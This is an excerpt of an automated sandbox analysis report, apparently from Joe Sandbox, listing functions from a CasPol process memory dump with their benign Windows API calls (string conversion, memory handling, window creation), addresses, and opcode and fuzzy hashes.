                                                                                                                                                                                                  • Instruction ID: e03fcf36bb778615f94f946172f2cadce4c7e53e7889dedf6030812535802df7
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 02b9e3d0e0b7074fd9b2be70e01a8c10e85f5fbe64ebb4837650a41ca567b1c2
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9A1170B1500119BFEF115F65EC02EDA7B69EF04714F100066FB09B2060E6319A60DB9D
                                                                                                                                                                                                  Function 00417434 Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,756F18FE,?,0041755F,?), ref: 00417452
                                                                                                                                                                                                  • malloc.MSVCRT ref: 00417459
                                                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,?,00000000,00000000,?,756F18FE,?,0041755F,?), ref: 00417478
                                                                                                                                                                                                  • free.MSVCRT ref: 0041747F
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ByteCharMultiWide$freemalloc
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2605342592-0
                                                                                                                                                                                                  • Opcode ID: 393c83f8647a4e4e905b151b9ea1406947fc62e9018515f0e7f821d7fee9a8df
                                                                                                                                                                                                  • Instruction ID: 8389f0226c663b3c6d8c6253af8546a3d73aba679155ae8f7c82d0c1376384d0
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 393c83f8647a4e4e905b151b9ea1406947fc62e9018515f0e7f821d7fee9a8df
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1DF0E9B620D21E3F7B006AB55CC0C7B7B9CD7862FCB11072FF51091180E9594C1116B6
                                                                                                                                                                                                  Function 004123E2 Relevance: 6.0, APIs: 4, Instructions: 47registryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 00412403
                                                                                                                                                                                                  • RegisterClassW.USER32(?), ref: 00412428
                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 0041242F
                                                                                                                                                                                                  • CreateWindowExW.USER32(00000000,00000000,0044E518,00CF0000,00000000,00000000,00000280,000001E0,00000000,00000000,00000000), ref: 00412455
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: HandleModule$ClassCreateRegisterWindow
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2678498856-0
                                                                                                                                                                                                  • Opcode ID: ffa2941c40dc3e4da5dfeb6f60aef2ef72cf6d205e20c7803454451710b81cbd
                                                                                                                                                                                                  • Instruction ID: 2742b6e08e64d4f702ac0bdc031c2178a10537c5a2141806c9029dd5a11ba4c1
                                                                                                                                                                                                  • Opcode Fuzzy Hash: ffa2941c40dc3e4da5dfeb6f60aef2ef72cf6d205e20c7803454451710b81cbd
                                                                                                                                                                                                  • Instruction Fuzzy Hash: E601E5B1941228ABD7119FA68C89ADFBEBCFF09B14F10411AF514A2240D7B456408BE9
                                                                                                                                                                                                  Function 0041437B Relevance: 6.0, APIs: 4, Instructions: 38COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00409D7F: memset.MSVCRT ref: 00409D9E
                                                                                                                                                                                                    • Part of subcall function 00409D7F: GetClassNameW.USER32(?,00000000,000000FF), ref: 00409DB5
                                                                                                                                                                                                    • Part of subcall function 00409D7F: _wcsicmp.MSVCRT ref: 00409DC7
                                                                                                                                                                                                  • SetBkMode.GDI32(?,00000001), ref: 004143A2
                                                                                                                                                                                                  • SetBkColor.GDI32(?,00FFFFFF), ref: 004143B0
                                                                                                                                                                                                  • SetTextColor.GDI32(?,00C00000), ref: 004143BE
                                                                                                                                                                                                  • GetStockObject.GDI32(00000000), ref: 004143C6
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Color$ClassModeNameObjectStockText_wcsicmpmemset
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 764393265-0
                                                                                                                                                                                                  • Opcode ID: 511a8a1029f4fd91347c0110e60971c3c9d55721028eb227f3be943e95f629a7
                                                                                                                                                                                                  • Instruction ID: 55a1794077c12dabf0ba6e1c8d3319674f3f2ba5a0574a39bcd6537ad23d1771
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 511a8a1029f4fd91347c0110e60971c3c9d55721028eb227f3be943e95f629a7
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3AF06835200219BBCF112FA5EC06EDD3F25BF05321F104536FA25A45F1CBB59D609759
                                                                                                                                                                                                  Function 004134C6 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memcpy.MSVCRT(0045A808,?,00000050,?,0040155D,?), ref: 004134E0
                                                                                                                                                                                                  • memcpy.MSVCRT(0045A538,?,000002CC,0045A808,?,00000050,?,0040155D,?), ref: 004134F2
                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 00413505
                                                                                                                                                                                                  • DialogBoxParamW.USER32(00000000,0000006B,?,Function_000131DC,00000000), ref: 00413519
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memcpy$DialogHandleModuleParam
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1386444988-0
                                                                                                                                                                                                  • Opcode ID: d55c8f406ca3c44be23ebae39d0952233c85391216aaf70b52daa0aa76105663
                                                                                                                                                                                                  • Instruction ID: 364e94b7bdcda47f4d7f1f8d7aeee0d56301a77e6e21c3ce81869cca2c347424
                                                                                                                                                                                                  • Opcode Fuzzy Hash: d55c8f406ca3c44be23ebae39d0952233c85391216aaf70b52daa0aa76105663
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 80F0E272A843207BF7207FA5AC0AB477E94FB05B03F114826F600E50D2C2B988518F8D
                                                                                                                                                                                                  Function 0040A353 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • _snwprintf.MSVCRT ref: 0040A398
                                                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,00000006,00000000,0000000A,%2.2X ,?), ref: 0040A3A8
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _snwprintfmemcpy
                                                                                                                                                                                                  • String ID: %2.2X
                                                                                                                                                                                                  • API String ID: 2789212964-323797159
                                                                                                                                                                                                  • Opcode ID: 565383a1db30c24bbe212324ccaa161bb2139c15501903e42e5a35b00c7b7038
                                                                                                                                                                                                  • Instruction ID: 802357eb4f50a043e47c8b78e7782d62930b20b04af67ea92e1f933aeb07fc5a
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 565383a1db30c24bbe212324ccaa161bb2139c15501903e42e5a35b00c7b7038
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 71118E32900309BFEB10DFE8D8829AFB3B9FB05314F108476ED11E7141D6789A258B96
                                                                                                                                                                                                  Function 0040B1D1 Relevance: 5.1, APIs: 4, Instructions: 67COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • wcslen.MSVCRT ref: 0040B1DE
                                                                                                                                                                                                  • free.MSVCRT ref: 0040B201
                                                                                                                                                                                                    • Part of subcall function 004099F4: malloc.MSVCRT ref: 00409A10
                                                                                                                                                                                                    • Part of subcall function 004099F4: memcpy.MSVCRT(00000000,?,?,?,?,004027EB,00000004,?,?,?,00401F8F,00000000), ref: 00409A28
                                                                                                                                                                                                    • Part of subcall function 004099F4: free.MSVCRT ref: 00409A31
                                                                                                                                                                                                  • free.MSVCRT ref: 0040B224
                                                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,-00000002,00000000,00000000,?,?,?,?,0040B319,0040B432,00000000,?,?,0040B432,00000000), ref: 0040B248
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: free$memcpy$mallocwcslen
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 726966127-0
                                                                                                                                                                                                  • Opcode ID: 6421ea3f553dae7d25363b5bd64276aec0fbe05fa0d8b4b2605bf4838246495e
                                                                                                                                                                                                  • Instruction ID: 71128cbd9221161776fa816c6212d75478d488e0bdd8d9cf72ea7cd81dda7be0
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6421ea3f553dae7d25363b5bd64276aec0fbe05fa0d8b4b2605bf4838246495e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 02215BB2500604EFD720DF18D881CAAB7F9EF49324B114A6EE452976A1CB35B9158B98
                                                                                                                                                                                                  Function 0040B0D1 Relevance: 5.1, APIs: 4, Instructions: 55stringCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • strlen.MSVCRT ref: 0040B0D8
                                                                                                                                                                                                  • free.MSVCRT ref: 0040B0FB
                                                                                                                                                                                                    • Part of subcall function 004099F4: malloc.MSVCRT ref: 00409A10
                                                                                                                                                                                                    • Part of subcall function 004099F4: memcpy.MSVCRT(00000000,?,?,?,?,004027EB,00000004,?,?,?,00401F8F,00000000), ref: 00409A28
                                                                                                                                                                                                    • Part of subcall function 004099F4: free.MSVCRT ref: 00409A31
                                                                                                                                                                                                  • free.MSVCRT ref: 0040B12C
                                                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000000,00000000,0040B35A,?), ref: 0040B159
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: free$memcpy$mallocstrlen
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3669619086-0
                                                                                                                                                                                                  • Opcode ID: 1049280fa2475c497c1b628b605c6dc2082e028c9e0fefa85919baabf6481477
                                                                                                                                                                                                  • Instruction ID: 61abf4b4d63bdfee40e3433ef4540d9b033b11d4199be086b3082c0bee804e2f
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1049280fa2475c497c1b628b605c6dc2082e028c9e0fefa85919baabf6481477
                                                                                                                                                                                                  • Instruction Fuzzy Hash: CA113A712042019FD711DB98FC499267B66EB8733AB25833BF4045A2A3CBB99834865F
                                                                                                                                                                                                  Function 004173E4 Relevance: 5.0, APIs: 4, Instructions: 41COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00418178,000000FF,00000000,00000000,00417D63,?,?,00417D63,00418178,00000000,?,004183E5,?,00000000), ref: 004173FF
                                                                                                                                                                                                  • malloc.MSVCRT ref: 00417407
                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00418178,000000FF,00000000,00000000,?,00417D63,00418178,00000000,?,004183E5,?,00000000,00000000,?), ref: 0041741E
                                                                                                                                                                                                  • free.MSVCRT ref: 00417425
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ByteCharMultiWide$freemalloc
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2605342592-0
                                                                                                                                                                                                  • Opcode ID: c62e76641e050cafa551b594d013d2ba0ec055e9779dbb9c6b02089c0e2d57f7
                                                                                                                                                                                                  • Instruction ID: cad4d062c051d68cf548c6c9b5623cfc012c7edadb1d539185634ca375d1558c
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c62e76641e050cafa551b594d013d2ba0ec055e9779dbb9c6b02089c0e2d57f7
                                                                                                                                                                                                  • Instruction Fuzzy Hash: E7F0377620921E7BDA1029655C40D77779CEB8B675B11072BBA10D21C1ED59D81005B5